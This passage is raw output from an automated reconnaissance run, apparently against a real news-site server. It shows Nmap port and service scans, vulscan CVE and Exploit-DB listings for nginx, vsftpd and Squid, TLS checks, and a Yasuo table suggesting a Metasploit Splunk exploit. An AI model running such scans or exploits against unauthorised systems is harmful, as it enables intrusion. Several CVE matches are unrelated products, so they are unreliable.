16365| [CVE-2011-4315] Heap-based buffer overflow in compression-pointer processing in core/ngx_resolver.c in nginx before 1.0.10 allows remote resolvers to cause a denial of service (daemon crash) or possibly have unspecified other impact via a long response.
16366| [CVE-2010-2266] nginx 0.8.36 allows remote attackers to cause a denial of service (crash) via certain encoded directory traversal sequences that trigger memory corruption, as demonstrated using the "%c0.%c0." sequence.
16367| [CVE-2010-2263] nginx 0.8 before 0.8.40 and 0.7 before 0.7.66, when running on Windows, allows remote attackers to obtain source code or unparsed content of arbitrary files under the web document root by appending ::$DATA to the URI.
16368| [CVE-2009-4487] nginx 0.7.64 writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to modify a window's title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator.
16369| [CVE-2009-3898] Directory traversal vulnerability in src/http/modules/ngx_http_dav_module.c in nginx (aka Engine X) before 0.7.63, and 0.8.x before 0.8.17, allows remote authenticated users to create or overwrite arbitrary files via a .. (dot dot) in the Destination HTTP header for the WebDAV (1) COPY or (2) MOVE method.
16370| [CVE-2009-3896] src/http/ngx_http_parse.c in nginx (aka Engine X) 0.1.0 through 0.4.14, 0.5.x before 0.5.38, 0.6.x before 0.6.39, 0.7.x before 0.7.62, and 0.8.x before 0.8.14 allows remote attackers to cause a denial of service (NULL pointer dereference and worker process crash) via a long URI.
16371| [CVE-2009-2629] Buffer underflow in src/http/ngx_http_parse.c in nginx 0.1.0 through 0.5.37, 0.6.x before 0.6.39, 0.7.x before 0.7.62, and 0.8.x before 0.8.15 allows remote attackers to execute arbitrary code via crafted HTTP requests.
16372|
16373| SecurityFocus - https://www.securityfocus.com/bid/:
16374| [99534] Nginx CVE-2017-7529 Remote Integer Overflow Vulnerability
16375| [93903] Nginx CVE-2016-1247 Remote Privilege Escalation Vulnerability
16376| [91819] Nginx CVE-2016-1000105 Security Bypass Vulnerability
16377| [90967] nginx CVE-2016-4450 Denial of Service Vulnerability
16378| [82230] nginx Multiple Denial of Service Vulnerabilities
16379| [78928] Nginx CVE-2010-2266 Denial-Of-Service Vulnerability
16380| [70025] nginx CVE-2014-3616 SSL Session Fixation Vulnerability
16381| [69111] nginx SMTP Proxy Remote Command Injection Vulnerability
16382| [67507] nginx SPDY Implementation CVE-2014-0088 Arbitrary Code Execution Vulnerability
16383| [66537] nginx SPDY Implementation Heap Based Buffer Overflow Vulnerability
16384| [63814] nginx CVE-2013-4547 URI Processing Security Bypass Vulnerability
16385| [59824] Nginx CVE-2013-2070 Remote Security Vulnerability
16386| [59699] nginx 'ngx_http_parse.c' Stack Buffer Overflow Vulnerability
16387| [59496] nginx 'ngx_http_close_connection()' Remote Integer Overflow Vulnerability
16388| [59323] nginx NULL-Byte Arbitrary Code Execution Vulnerability
16389| [58105] Nginx 'access.log' Insecure File Permissions Vulnerability
16390| [57139] nginx CVE-2011-4968 Man in The Middle Vulnerability
16391| [55920] nginx CVE-2011-4963 Security Bypass Vulnerability
16392| [54331] Nginx Naxsi Module 'nx_extract.py' Script Remote File Disclosure Vulnerability
16393| [52999] nginx 'ngx_http_mp4_module.c' Buffer Overflow Vulnerability
16394| [52578] nginx 'ngx_cpystrn()' Information Disclosure Vulnerability
16395| [50710] nginx DNS Resolver Remote Heap Buffer Overflow Vulnerability
16396| [40760] nginx Remote Source Code Disclosure and Denial of Service Vulnerabilities
16397| [40434] nginx Space String Remote Source Code Disclosure Vulnerability
16398| [40420] nginx Directory Traversal Vulnerability
16399| [37711] nginx Terminal Escape Sequence in Logs Command Injection Vulnerability
16400| [36839] nginx 'ngx_http_process_request_headers()' Remote Buffer Overflow Vulnerability
16401| [36490] nginx WebDAV Multiple Directory Traversal Vulnerabilities
16402| [36438] nginx Proxy DNS Cache Domain Spoofing Vulnerability
16403| [36384] nginx HTTP Request Remote Buffer Overflow Vulnerability
16404|
16405| IBM X-Force - https://exchange.xforce.ibmcloud.com:
16406| [84623] Phusion Passenger gem for Ruby with nginx configuration insecure permissions
16407| [84172] nginx denial of service
16408| [84048] nginx buffer overflow
16409| [83923] nginx ngx_http_close_connection() integer overflow
16410| [83688] nginx null byte code execution
16411| [83103] Naxsi module for Nginx naxsi_unescape_uri() function security bypass
16412| [82319] nginx access.log information disclosure
16413| [80952] nginx SSL spoofing
16414| [77244] nginx and Microsoft Windows request security bypass
16415| [76778] Naxsi module for Nginx nx_extract.py directory traversal
16416| [74831] nginx ngx_http_mp4_module.c buffer overflow
16417| [74191] nginx ngx_cpystrn() information disclosure
16418| [74045] nginx header response information disclosure
16419| [71355] nginx ngx_resolver_copy() buffer overflow
16420| [59370] nginx characters denial of service
16421| [59369] nginx DATA source code disclosure
16422| [59047] nginx space source code disclosure
16423| [58966] nginx unspecified directory traversal
16424| [54025] nginx ngx_http_parse.c denial of service
16425| [53431] nginx WebDAV component directory traversal
16426| [53328] Nginx CRC-32 cached domain name spoofing
16427| [53250] Nginx ngx_http_parse_complex_uri() function code execution
16428|
16429| Exploit-DB - https://www.exploit-db.com:
16430| [26737] nginx 1.3.9/1.4.0 x86 Brute Force Remote Exploit
16431| [25775] Nginx HTTP Server 1.3.9-1.4.0 Chuncked Encoding Stack Buffer Overflow
16432| [25499] nginx 1.3.9-1.4.0 DoS PoC
16433| [24967] nginx 0.6.x Arbitrary Code Execution NullByte Injection
16434| [14830] nginx 0.6.38 - Heap Corruption Exploit
16435| [13822] Nginx <= 0.7.65 / 0.8.39 (dev) Source Disclosure / Download Vulnerability
16436| [13818] Nginx 0.8.36 Source Disclosure and DoS Vulnerabilities
16437| [12804] nginx [engine x] http server <= 0.6.36 Path Draversal
16438| [9901] nginx 0.7.0-0.7.61, 0.6.0-0.6.38, 0.5.0-0.5.37, 0.4.0-0.4.14 PoC
16439| [9829] nginx 0.7.61 WebDAV directory traversal
16440|
16441| OpenVAS (Nessus) - http://www.openvas.org:
16442| [864418] Fedora Update for nginx FEDORA-2012-3846
16443| [864310] Fedora Update for nginx FEDORA-2012-6238
16444| [864209] Fedora Update for nginx FEDORA-2012-6411
16445| [864204] Fedora Update for nginx FEDORA-2012-6371
16446| [864121] Fedora Update for nginx FEDORA-2012-4006
16447| [864115] Fedora Update for nginx FEDORA-2012-3991
16448| [864065] Fedora Update for nginx FEDORA-2011-16075
16449| [863654] Fedora Update for nginx FEDORA-2011-16110
16450| [861232] Fedora Update for nginx FEDORA-2007-1158
16451| [850180] SuSE Update for nginx openSUSE-SU-2012:0237-1 (nginx)
16452| [831680] Mandriva Update for nginx MDVSA-2012:043 (nginx)
16453| [802045] 64-bit Debian Linux Rootkit with nginx Doing iFrame Injection
16454| [801636] nginx HTTP Request Remote Buffer Overflow Vulnerability
16455| [103470] nginx 'ngx_http_mp4_module.c' Buffer Overflow Vulnerability
16456| [103469] nginx 'ngx_cpystrn()' Information Disclosure Vulnerability
16457| [103344] nginx DNS Resolver Remote Heap Buffer Overflow Vulnerability
16458| [100676] nginx Remote Source Code Disclosure and Denial of Service Vulnerabilities
16459| [100659] nginx Directory Traversal Vulnerability
16460| [100658] nginx Space String Remote Source Code Disclosure Vulnerability
16461| [100441] nginx Terminal Escape Sequence in Logs Command Injection Vulnerability
16462| [100321] nginx 'ngx_http_process_request_headers()' Remote Buffer Overflow Vulnerability
16463| [100277] nginx Proxy DNS Cache Domain Spoofing Vulnerability
16464| [100276] nginx HTTP Request Remote Buffer Overflow Vulnerability
16465| [100275] nginx WebDAV Multiple Directory Traversal Vulnerabilities
16466| [71574] Gentoo Security Advisory GLSA 201206-07 (nginx)
16467| [71308] Gentoo Security Advisory GLSA 201203-22 (nginx)
16468| [71297] FreeBSD Ports: nginx
16469| [71276] FreeBSD Ports: nginx
16470| [71239] Debian Security Advisory DSA 2434-1 (nginx)
16471| [66451] Fedora Core 11 FEDORA-2009-12782 (nginx)
16472| [66450] Fedora Core 10 FEDORA-2009-12775 (nginx)
16473| [66449] Fedora Core 12 FEDORA-2009-12750 (nginx)
16474| [64924] Gentoo Security Advisory GLSA 200909-18 (nginx)
16475| [64912] Fedora Core 10 FEDORA-2009-9652 (nginx)
16476| [64911] Fedora Core 11 FEDORA-2009-9630 (nginx)
16477| [64894] FreeBSD Ports: nginx
16478| [64869] Debian Security Advisory DSA 1884-1 (nginx)
16479|
16480| SecurityTracker - https://www.securitytracker.com:
16481| [1028544] nginx Bug Lets Remote Users Deny Service or Obtain Potentially Sensitive Information
16482| [1028519] nginx Stack Overflow Lets Remote Users Execute Arbitrary Code
16483| [1026924] nginx Buffer Overflow in ngx_http_mp4_module Lets Remote Users Execute Arbitrary Code
16484| [1026827] nginx HTTP Response Processing Lets Remote Users Obtain Portions of Memory Contents
16485|
16486| OSVDB - http://www.osvdb.org:
16487| [94864] cPnginx Plugin for cPanel nginx Configuration Manipulation Arbitrary File Access
16488| [93282] nginx proxy_pass Crafted Upstream Proxied Server Response Handling Worker Process Memory Disclosure
16489| [93037] nginx /http/ngx_http_parse.c Worker Process Crafted Request Handling Remote Overflow
16490| [92796] nginx ngx_http_close_connection Function Crafted r->
16491| [92634] nginx ngx_http_request.h zero_in_uri URL Null Byte Handling Remote Code Execution
16492| [90518] nginx Log Directory Permission Weakness Local Information Disclosure
16493| [88910] nginx Proxy Functionality SSL Certificate Validation MitM Spoofing Weakness
16494| [84339] nginx/Windows Multiple Request Sequence Parsing Arbitrary File Access
16495| [83617] Naxsi Module for Nginx naxsi-ui/ nx_extract.py Traversal Arbitrary File Access
16496| [81339] nginx ngx_http_mp4_module Module Atom MP4 File Handling Remote Overflow
16497| [80124] nginx HTTP Header Response Parsing Freed Memory Information Disclosure
16498| [77184] nginx ngx_resolver.c ngx_resolver_copy() Function DNS Response Parsing Remote Overflow
16499| [65531] nginx on Windows URI ::$DATA Append Arbitrary File Access
16500| [65530] nginx Encoded Traversal Sequence Memory Corruption Remote DoS
16501| [65294] nginx on Windows Encoded Space Request Remote Source Disclosure
16502| [63136] nginx on Windows 8.3 Filename Alias Request Access Rules / Authentication Bypass
16503| [62617] nginx Internal DNS Cache Poisoning Weakness
16504| [61779] nginx HTTP Request Escape Sequence Terminal Command Injection
16505| [59278] nginx src/http/ngx_http_parse.c ngx_http_process_request_headers() Function URL Handling NULL Dereference DoS
16506| [58328] nginx WebDAV Multiple Method Traversal Arbitrary File Write
16507| [58128] nginx ngx_http_parse_complex_uri() Function Underflow
16508| [44447] nginx (engine x) msie_refresh Directive Unspecified XSS
16509| [44446] nginx (engine x) ssl_verify_client Directive HTTP/0.9 Protocol Bypass
16510| [44445] nginx (engine x) ngx_http_realip_module satisfy_any Directive Unspecified Access Bypass
16511| [44444] nginx (engine x) X-Accel-Redirect Header Unspecified Traversal
16512| [44443] nginx (engine x) rtsig Method Signal Queue Overflow
16513| [44442] nginx (engine x) Worker Process Millisecond Timers Unspecified Overflow
16514|_
16515Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
16516Aggressive OS guesses: Linux 3.2 - 4.9 (95%), Linux 3.16 (95%), Linux 3.10 - 4.11 (94%), ASUS RT-N56U WAP (Linux 3.4) (94%), Linux 3.18 (94%), Linux 3.1 (92%), Linux 3.2 (92%), Linux 3.10 (92%), Linux 3.8 - 4.14 (92%), Linux 4.4 - 4.9 (92%)
16517No exact OS matches for host (test conditions non-ideal).
16518Uptime guess: 15.105 days (since Sat Nov 9 18:39:15 2019)
16519Network Distance: 9 hops
16520TCP Sequence Prediction: Difficulty=244 (Good luck!)
16521IP ID Sequence Generation: All zeros
16522
16523TRACEROUTE (using port 443/tcp)
16524HOP RTT ADDRESS
165251 44.03 ms 10.243.204.1
165262 44.09 ms vlan102.as02.qc1.ca.m247.com (176.113.74.17)
165273 61.97 ms irb-0.agg1.qc1.ca.m247.com (37.120.128.168)
165284 44.09 ms te-1-5-2-0.bb1.fra2.de.m247.com (82.102.29.44)
165295 ...
165306 44.17 ms bhs-g2-nc5.qc.ca (142.44.208.175)
165317 ...
165328 62.06 ms be50-7.bhs-3a-a9.qc.ca (198.27.73.94)
165339 25.02 ms ns502056.ip-192-99-38.net (192.99.38.90)
16534
16535NSE: Script Post-scanning.
16536Initiating NSE at 21:09
16537Completed NSE at 21:09, 0.00s elapsed
16538Initiating NSE at 21:09
16539Completed NSE at 21:09, 0.00s elapsed
16540######################################################################################################################################
16541Version: 1.11.13-static
16542OpenSSL 1.0.2-chacha (1.0.2g-dev)
16543
16544Connected to 192.99.38.90
16545
16546Testing SSL server 192.99.38.90 on port 443 using SNI name 192.99.38.90
16547
16548 TLS Fallback SCSV:
16549Server supports TLS Fallback SCSV
16550
16551 TLS renegotiation:
16552Secure session renegotiation supported
16553
16554 TLS Compression:
16555Compression disabled
16556
16557 Heartbleed:
16558TLS 1.2 not vulnerable to heartbleed
16559TLS 1.1 not vulnerable to heartbleed
16560TLS 1.0 not vulnerable to heartbleed
16561
16562 Supported Server Cipher(s):
16563Preferred TLSv1.2 256 bits ECDHE-RSA-AES256-GCM-SHA384 Curve P-256 DHE 256
16564Accepted TLSv1.2 256 bits ECDHE-RSA-AES256-SHA384 Curve P-256 DHE 256
16565Accepted TLSv1.2 256 bits ECDHE-RSA-AES256-SHA Curve P-256 DHE 256
16566Accepted TLSv1.2 256 bits AES256-GCM-SHA384
16567Accepted TLSv1.2 256 bits AES256-SHA256
16568Accepted TLSv1.2 256 bits AES256-SHA
16569Accepted TLSv1.2 256 bits CAMELLIA256-SHA
16570Accepted TLSv1.2 128 bits ECDHE-RSA-AES128-GCM-SHA256 Curve P-256 DHE 256
16571Accepted TLSv1.2 128 bits ECDHE-RSA-AES128-SHA256 Curve P-256 DHE 256
16572Accepted TLSv1.2 128 bits ECDHE-RSA-AES128-SHA Curve P-256 DHE 256
16573Accepted TLSv1.2 128 bits AES128-GCM-SHA256
16574Accepted TLSv1.2 128 bits AES128-SHA256
16575Accepted TLSv1.2 128 bits AES128-SHA
16576Accepted TLSv1.2 128 bits CAMELLIA128-SHA
16577Preferred TLSv1.1 256 bits ECDHE-RSA-AES256-SHA Curve P-256 DHE 256
16578Accepted TLSv1.1 256 bits AES256-SHA
16579Accepted TLSv1.1 256 bits CAMELLIA256-SHA
16580Accepted TLSv1.1 128 bits ECDHE-RSA-AES128-SHA Curve P-256 DHE 256
16581Accepted TLSv1.1 128 bits AES128-SHA
16582Accepted TLSv1.1 128 bits CAMELLIA128-SHA
16583Preferred TLSv1.0 256 bits ECDHE-RSA-AES256-SHA Curve P-256 DHE 256
16584Accepted TLSv1.0 256 bits AES256-SHA
16585Accepted TLSv1.0 256 bits CAMELLIA256-SHA
16586Accepted TLSv1.0 128 bits ECDHE-RSA-AES128-SHA Curve P-256 DHE 256
16587Accepted TLSv1.0 128 bits AES128-SHA
16588Accepted TLSv1.0 128 bits CAMELLIA128-SHA
16589
16590 SSL Certificate:
16591Signature Algorithm: sha256WithRSAEncryption
16592RSA Key Strength: 2048
16593
16594Subject: *.alalamtv.net
16595Altnames: DNS:*.alalamtv.net, DNS:alalamtv.net
16596Issuer: Certum Organization Validation CA SHA2
16597
16598Not valid before: Mar 26 17:10:30 2019 GMT
16599Not valid after: Mar 25 17:10:30 2020 GMT
16600#######################################################################################################################################
16601--------------------------------------------------------
16602<<<Yasuo discovered following vulnerable applications>>>
16603--------------------------------------------------------
16604+----------+----------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------+----------+----------+
16605| App Name | URL to Application | Potential Exploit | Username | Password |
16606+----------+----------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------+----------+----------+
16607| Splunk | https://192.99.38.90:443/en-US/manager/search/apps/local | ./exploit/multi/http/splunk_upload_app_exec, http://blog.7elements.co.uk/2012/11/splunk-with-great-power-comes-great-responsibility.html | None | None |
16608+----------+----------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------+----------+----------+
16609######################################################################################################################################
16610Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-24 21:15 EST
16611NSE: Loaded 47 scripts for scanning.
16612NSE: Script Pre-scanning.
16613Initiating NSE at 21:15
16614Completed NSE at 21:15, 0.00s elapsed
16615Initiating NSE at 21:15
16616Completed NSE at 21:15, 0.00s elapsed
16617Initiating Parallel DNS resolution of 1 host. at 21:15
16618Completed Parallel DNS resolution of 1 host. at 21:15, 0.02s elapsed
16619Initiating SYN Stealth Scan at 21:15
16620Scanning ns502056.ip-192-99-38.net (192.99.38.90) [65535 ports]
16621Discovered open port 53/tcp on 192.99.38.90
16622Discovered open port 80/tcp on 192.99.38.90
16623Discovered open port 8080/tcp on 192.99.38.90
16624Discovered open port 443/tcp on 192.99.38.90
16625Discovered open port 21/tcp on 192.99.38.90
16626Discovered open port 22/tcp on 192.99.38.90
16627Increasing send delay for 192.99.38.90 from 0 to 5 due to 315 out of 1048 dropped probes since last increase.
16628SYN Stealth Scan Timing: About 5.90% done; ETC: 21:24 (0:08:15 remaining)
16629SYN Stealth Scan Timing: About 12.77% done; ETC: 21:23 (0:06:57 remaining)
16630SYN Stealth Scan Timing: About 19.45% done; ETC: 21:23 (0:06:17 remaining)
16631SYN Stealth Scan Timing: About 26.70% done; ETC: 21:22 (0:05:32 remaining)
16632SYN Stealth Scan Timing: About 33.68% done; ETC: 21:22 (0:04:57 remaining)
16633SYN Stealth Scan Timing: About 40.19% done; ETC: 21:22 (0:04:29 remaining)
16634SYN Stealth Scan Timing: About 47.12% done; ETC: 21:22 (0:03:57 remaining)
16635Discovered open port 1935/tcp on 192.99.38.90
16636SYN Stealth Scan Timing: About 53.55% done; ETC: 21:22 (0:03:29 remaining)
16637SYN Stealth Scan Timing: About 59.67% done; ETC: 21:22 (0:03:03 remaining)
16638SYN Stealth Scan Timing: About 66.37% done; ETC: 21:22 (0:02:32 remaining)
16639Discovered open port 50010/tcp on 192.99.38.90
16640SYN Stealth Scan Timing: About 73.03% done; ETC: 21:22 (0:02:02 remaining)
16641SYN Stealth Scan Timing: About 79.05% done; ETC: 21:22 (0:01:36 remaining)
16642SYN Stealth Scan Timing: About 84.38% done; ETC: 21:22 (0:01:12 remaining)
16643SYN Stealth Scan Timing: About 90.16% done; ETC: 21:23 (0:00:46 remaining)
16644Completed SYN Stealth Scan at 21:23, 484.68s elapsed (65535 total ports)
16645Initiating Service scan at 21:23
16646Scanning 8 services on ns502056.ip-192-99-38.net (192.99.38.90)
16647Completed Service scan at 21:25, 159.37s elapsed (8 services on 1 host)
16648Initiating OS detection (try #1) against ns502056.ip-192-99-38.net (192.99.38.90)
16649Retrying OS detection (try #2) against ns502056.ip-192-99-38.net (192.99.38.90)
16650Initiating Traceroute at 21:26
16651Completed Traceroute at 21:26, 3.01s elapsed
16652Initiating Parallel DNS resolution of 7 hosts. at 21:26
16653Completed Parallel DNS resolution of 7 hosts. at 21:26, 5.75s elapsed
16654NSE: Script scanning 192.99.38.90.
16655Initiating NSE at 21:26
16656Completed NSE at 21:26, 20.48s elapsed
16657Initiating NSE at 21:26
16658Completed NSE at 21:26, 1.17s elapsed
16659Nmap scan report for ns502056.ip-192-99-38.net (192.99.38.90)
16660Host is up (0.083s latency).
16661Not shown: 65527 closed ports
16662PORT STATE SERVICE VERSION
1666321/tcp open ftp vsftpd 3.0.2
16664| vulscan: VulDB - https://vuldb.com:
16665| [68991] vsftpd 3.0.2 deny_file unknown vulnerability
16666|
16667| MITRE CVE - https://cve.mitre.org:
16668| [CVE-2012-2127] fs/proc/root.c in the procfs implementation in the Linux kernel before 3.2 does not properly interact with CLONE_NEWPID clone system calls, which allows remote attackers to cause a denial of service (reference leak and memory consumption) by making many connections to a daemon that uses PID namespaces to isolate clients, as demonstrated by vsftpd.
16669| [CVE-2008-2375] Memory leak in a certain Red Hat deployment of vsftpd before 2.0.5 on Red Hat Enterprise Linux (RHEL) 3 and 4, when PAM is used, allows remote attackers to cause a denial of service (memory consumption) via a large number of invalid authentication attempts within the same session, a different vulnerability than CVE-2007-5962.
16670|
16671| SecurityFocus - https://www.securityfocus.com/bid/:
16672| [82285] Vsftpd CVE-2004-0042 Remote Security Vulnerability
16673| [72451] vsftpd CVE-2015-1419 Security Bypass Vulnerability
16674| [51013] vsftpd '__tzfile_read()' Function Heap Based Buffer Overflow Vulnerability
16675| [48539] vsftpd Compromised Source Packages Backdoor Vulnerability
16676| [46617] vsftpd FTP Server 'ls.c' Remote Denial of Service Vulnerability
16677| [41443] Vsftpd Webmin Module Multiple Unspecified Vulnerabilities
16678| [30364] vsftpd FTP Server Pluggable Authentication Module (PAM) Remote Denial of Service Vulnerability
16679| [29322] vsftpd FTP Server 'deny_file' Option Remote Denial of Service Vulnerability
16680| [10394] Vsftpd Listener Denial of Service Vulnerability
16681| [7253] Red Hat Linux 9 vsftpd Compiling Error Weakness
16682|
16683| IBM X-Force - https://exchange.xforce.ibmcloud.com:
16684| [68366] vsftpd package backdoor
16685| [65873] vsftpd vsf_filename_passes_filter denial of service
16686| [55148] VSFTPD-WEBMIN-MODULE unknown unspecified
16687| [43685] vsftpd authentication attempts denial of service
16688| [42593] vsftpd deny_file denial of service
16689| [16222] vsftpd connection denial of service
16690| [14844] vsftpd message allows attacker to obtain username
16691| [11729] Red Hat Linux vsftpd FTP daemon tcp_wrapper could allow an attacker to gain access to server
16692|
16693| Exploit-DB - https://www.exploit-db.com:
16694| [17491] VSFTPD 2.3.4 - Backdoor Command Execution
16695| [16270] vsftpd 2.3.2 - Denial of Service Vulnerability
16696| [5814] vsftpd 2.0.5 (CWD) Remote Memory Consumption Exploit (post auth)
16697|
16698| OpenVAS (Nessus) - http://www.openvas.org:
16699| [881289] CentOS Update for vsftpd CESA-2011:0337 centos5 x86_64
16700| [880533] CentOS Update for vsftpd CESA-2011:0337 centos5 i386
16701| [880479] CentOS Update for vsftpd CESA-2011:0337 centos4 i386
16702| [880293] CentOS Update for vsftpd CESA-2008:0579 centos3 i386
16703| [880025] CentOS Update for vsftpd CESA-2008:0579 centos3 x86_64
16704| [870407] RedHat Update for vsftpd RHSA-2011:0337-01
16705| [870152] RedHat Update for vsftpd RHSA-2008:0680-01
16706| [870114] RedHat Update for vsftpd RHSA-2008:0295-01
16707| [870032] RedHat Update for vsftpd RHSA-2008:0579-01
16708| [862926] Fedora Update for vsftpd FEDORA-2011-2615
16709| [862925] Fedora Update for vsftpd FEDORA-2011-2590
16710| [860821] Fedora Update for vsftpd FEDORA-2008-4347
16711| [860676] Fedora Update for vsftpd FEDORA-2008-4373
16712| [860005] Fedora Update for vsftpd FEDORA-2008-4362
16713| [840831] Ubuntu Update for vsftpd USN-1288-1
16714| [840623] Ubuntu Update for vsftpd vulnerability USN-1098-1
16715| [831351] Mandriva Update for vsftpd MDVSA-2011:049 (vsftpd)
16716| [103362] vsftpd '__tzfile_read()' Function Heap Based Buffer Overflow Vulnerability
16717| [103185] vsftpd Compromised Source Packages Backdoor Vulnerability
16718| [103101] vsftpd FTP Server 'ls.c' Remote Denial of Service Vulnerability
16719| [71966] Slackware Advisory SSA:2012-041-05 vsftpd
16720| [70770] Gentoo Security Advisory GLSA 201110-07 (vsftpd)
16721| [70399] Debian Security Advisory DSA 2305-1 (vsftpd)
16722| [65857] SLES10: Security update for vsftpd
16723| [65225] SLES9: Security update for vsftpd
16724|
16725| SecurityTracker - https://www.securitytracker.com:
16726| [1025186] vsftpd vsf_filename_passes_filter() Bug Lets Remote Authenticated Users Deny Service
16727| [1020546] vsftpd Memory Leak When Invalid Authentication Attempts Occur Lets Remote Authenticated Users Deny Service
16728| [1020079] vsftpd Memory Leak in 'deny_file' Option Lets Remote Authenticated Users Deny Service
16729| [1008628] vsftpd Discloses Whether Usernames are Valid or Not
16730|
16731| OSVDB - http://www.osvdb.org:
16732| [73573] vsftpd on vsftpd.beasts.org Trojaned Distribution
16733| [73340] vsftpd ls.c vsf_filename_passes_filter STAT Command glob Expression Remote DoS
16734| [61362] Vsftpd Webmin Module Unspecified Issues
16735| [46930] Red Hat Linux vsftpd w/ PAM Memory Exhaustion Remote DoS
16736| [45626] vsftpd deny_file Option Crafted FTP Data Remote Memory Exhaustion DoS
16737| [36515] BlockHosts sshd/vsftpd hosts.allow Arbitrary Deny Entry Manipulation
16738| [28610] vsftpd SIGURG Handler Unspecified Issue
16739| [28609] vsftpd tunable_chroot_local_user Filesystem Root Access
16740| [6861] vsftpd Login Error Message Username Enumeration
16741| [6306] vsftpd Connection Handling DoS
16742| [4564] vsftpd on Red Hat Linux Restricted Access Failure
16743|_
1674422/tcp open http-proxy Squid http proxy 3.5.20
16745|_http-server-header: squid/3.5.20
16746| vulners:
16747| cpe:/a:squid-cache:squid:3.5.20:
16748| CVE-2019-12525 7.5 https://vulners.com/cve/CVE-2019-12525
16749| CVE-2018-1000027 5.0 https://vulners.com/cve/CVE-2018-1000027
16750| CVE-2018-1000024 5.0 https://vulners.com/cve/CVE-2018-1000024
16751| CVE-2016-10003 5.0 https://vulners.com/cve/CVE-2016-10003
16752| CVE-2016-10002 5.0 https://vulners.com/cve/CVE-2016-10002
16753| CVE-2019-12529 4.3 https://vulners.com/cve/CVE-2019-12529
16754| CVE-2018-19132 4.3 https://vulners.com/cve/CVE-2018-19132
16755|_ CVE-2018-19131 4.3 https://vulners.com/cve/CVE-2018-19131
16756| vulscan: VulDB - https://vuldb.com:
16757| [113070] Squid Proxy up to 3.5.27/4.0.22 ESI Response HTTP Response denial of service
16758| [137765] Squid Proxy up to 3.5.28/4.7.0 Header Parser memory corruption
16759| [117828] Squid Web Proxy 3.5.27-20180318 sslBumpAccessCheck() Request denial of service
16760| [94711] Squid Proxy up to 3.5.22/4.0.16 Header Comparison information disclosure
16761| [94710] Squid Proxy up to 3.5.22/4.0.16 Request information disclosure
16762| [87133] Squid Proxy 3.5.17/4.0.9 HTTP Request privilege escalation
16763| [81565] Squid Proxy up to 3.5.15/4.0.7 HTTP Response denial of service
16764| [81110] Squid Proxy up to 3.5.14/4.0.6 Response http.cc denial of service
16765| [81108] Squid Proxy up to 3.5.14/4.0.6 HTTP Header denial of service
16766| [81132] Squid Proxy 3.5.13/4.0 HTTP Status Code http.cc denial of service
16767|
16768| MITRE CVE - https://cve.mitre.org:
16769| [CVE-2013-2203] WordPress before 3.5.2, when the uploads directory forbids write access, allows remote attackers to obtain sensitive information via an invalid upload request, which reveals the absolute path in an XMLHttpRequest error message.
16770| [CVE-2013-2199] The HTTP API in WordPress before 3.5.2 allows remote attackers to send HTTP requests to intranet servers via unspecified vectors, related to a Server-Side Request Forgery (SSRF) issue, a similar vulnerability to CVE-2013-0235.
16771| [CVE-2009-2665] The nsDocument::SetScriptGlobalObject function in content/base/src/nsDocument.cpp in Mozilla Firefox 3.5.x before 3.5.2, when certain add-ons are enabled, does not properly handle a Link HTTP header, which allows remote attackers to execute arbitrary JavaScript with chrome privileges via a crafted web page, related to an incorrect security wrapper.
16772| [CVE-2009-2470] Mozilla Firefox before 3.0.12, and 3.5.x before 3.5.2, allows remote SOCKS5 proxy servers to cause a denial of service (data stream corruption) via a long domain name in a reply.
16773| [CVE-2007-1350] Stack-based buffer overflow in webadmin.exe in Novell NetMail 3.5.2 allows remote attackers to execute arbitrary code via a long username during HTTP Basic authentication.
16774| [CVE-2013-4996] Multiple cross-site scripting (XSS) vulnerabilities in phpMyAdmin 3.5.x before 3.5.8.2 and 4.0.x before 4.0.4.2 allow remote attackers to inject arbitrary web script or HTML via vectors involving (1) a crafted database name, (2) a crafted user name, (3) a crafted logo URL in the navigation panel, (4) a crafted entry in a certain proxy list, or (5) crafted content in a version.json file.
16775| [CVE-2013-3239] phpMyAdmin 3.5.x before 3.5.8 and 4.x before 4.0.0-rc3, when a SaveDir directory is configured, allows remote authenticated users to execute arbitrary code by using a double extension in the filename of an export file, leading to interpretation of this file as an executable file by the Apache HTTP Server, as demonstrated by a .php.sql filename.
16776| [CVE-2013-0235] The XMLRPC API in WordPress before 3.5.1 allows remote attackers to send HTTP requests to intranet servers, and conduct port-scanning attacks, by specifying a crafted source URL for a pingback, related to a Server-Side Request Forgery (SSRF) issue.
16777| [CVE-2013-0005] The WCF Replace function in the Open Data (aka OData) protocol implementation in Microsoft .NET Framework 3.5, 3.5 SP1, 3.5.1, and 4, and the Management OData IIS Extension on Windows Server 2012, allows remote attackers to cause a denial of service (resource consumption and daemon restart) via crafted values in HTTP requests, aka "Replace Denial of Service Vulnerability."
16778| [CVE-2012-5368] phpMyAdmin 3.5.x before 3.5.3 uses JavaScript code that is obtained through an HTTP session to phpmyadmin.net without SSL, which allows man-in-the-middle attackers to conduct cross-site scripting (XSS) attacks by modifying this code.
16779| [CVE-2012-4776] The Web Proxy Auto-Discovery (WPAD) functionality in Microsoft .NET Framework 2.0 SP2, 3.5, 3.5.1, 4, and 4.5 does not validate configuration data that is returned during acquisition of proxy settings, which allows remote attackers to execute arbitrary JavaScript code by providing crafted data during execution of (1) an XAML browser application (aka XBAP) or (2) a .NET Framework application, aka "Web Proxy Auto-Discovery Vulnerability."
16780| [CVE-2012-0465] Bugzilla 3.5.x and 3.6.x before 3.6.9, 3.7.x and 4.0.x before 4.0.6, and 4.1.x and 4.2.x before 4.2.1, when the inbound_proxies option is enabled, does not properly validate the X-Forwarded-For HTTP header, which allows remote attackers to bypass the lockout policy via a series of authentication requests with (1) different IP address strings in this header or (2) a long string in this header.
16781| [CVE-2012-0384] Cisco IOS 12.2 through 12.4 and 15.0 through 15.2 and IOS XE 2.1.x through 2.6.x and 3.1.xS before 3.1.2S, 3.2.xS through 3.4.xS before 3.4.2S, 3.5.xS before 3.5.1S, and 3.1.xSG and 3.2.xSG before 3.2.2SG, when AAA authorization is enabled, allow remote authenticated users to bypass intended access restrictions and execute commands via a (1) HTTP or (2) HTTPS session, aka Bug ID CSCtr91106.
